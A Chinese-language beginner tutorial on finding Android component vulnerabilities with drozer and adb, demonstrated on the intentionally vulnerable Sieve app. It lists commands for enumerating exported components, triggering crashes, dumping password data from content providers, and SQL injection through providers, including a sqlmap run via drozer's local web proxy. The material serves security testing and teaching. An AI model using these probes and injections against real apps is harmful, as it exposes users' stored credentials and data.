之前介绍过怎么安装drozer(drozer工具安装),本次主要面对于没有基础的新手,怎么用几条命令挖简单的组件漏洞(大部分为中危),经初次工具的使用练习,比较好挖的漏洞主要有,allowback(数据备份与恢复)、本地拒绝服务、本地sql注入。附个最近挖的部分垃圾洞:
1.磨枪上阵!
第一步:adb连接手机或者模拟器(看你心情爱用哪个用哪个)
(1)我的三星s8+需要打开usb调试,然后连接数据线后同意电脑访问设备数据,在usb连接选项处选择MIDI。
(2)夜神模拟器需要:
adb connect 127.0.0.1:62001 //adb目录下,连接夜神模拟器
连接好手机或者模拟器后查看是否连接到了设备:
adb devices //
adb目录下
第二步:打开手机端的drozer agent app,点击右下角开启,此时agent开始监听31415端口,我们用adb转发这个端口出来,连接drozer:
adb forward tcp:31415 tcp:31415 //adb目录下,进行端口转发
drozer console connect //drozer目录下,连接drozer agent
2.挖洞正题!
统计一下挖简单的漏洞我们要用到的命令:
run app.package.list //列出手机内安装的所有应用包名
run app.package.llst -f xxxx //过滤出有指定关键字的包名
run app.package.attacksurface com.example.sieve //扫描攻击面,暴露了什么组件,此处以com.example.sieve包为例。
run app.activity.info -a com.example.sieve //获取avtivity信息
run app.broadcast.info -a com.example.sieve //获取broadcast信息
run app.provider.info -a com.example.sieve //获取provider信息
run app.service.info -a com.example.sieve //获取service信息
run app.activity.start --component com.example.sieve com.example.sieve.activity //启动某activity组件,调出越权界面或者应用崩溃存在漏洞。
run app.broadcast.send --component com.example.sieve com.example.sieve.broadcast //发送空intent给广播组件,应用崩溃存在漏洞。
run scanner.provider.finduris -a com.example.sieve //获取可以访问的uri
run app.provider.query content://com.example.sieve.xx.xxxxx/passwords --vertical //获取uri的数据,查询到敏感数据存在漏洞。
run app.provider.query content://com.example.sieve.DBcontentprovider/password/ --projection "'"
run app.provider.query content://com.example.sieve.DBcontentprovider/password/ --selection "'" //输入’ 参数进行注入,报错了的话存在漏洞,可以继续使用手工注入查询数据库内容,也可使用sqlmap:
run auxiliary.webcontentresolver //转发tcp:8080到本机,测试期间不要ctrl+c停止转发
用电脑访问:http://localhost:8080/query?uri=content://com.example.sieve.DBcontentprovider/password/&projection=*
直接sqlmap跑:
sqlmap -u "http://localhost:8080/query?uri=content://com.example.sieve.DBcontentprovider/password/&projection=*" --dbs
//参考sqlmap的基本使用
之后会整理完整的drozer使用方法, 如果有其它适合新手的简单操作的建议请大家评论帮忙哦,我持续更新~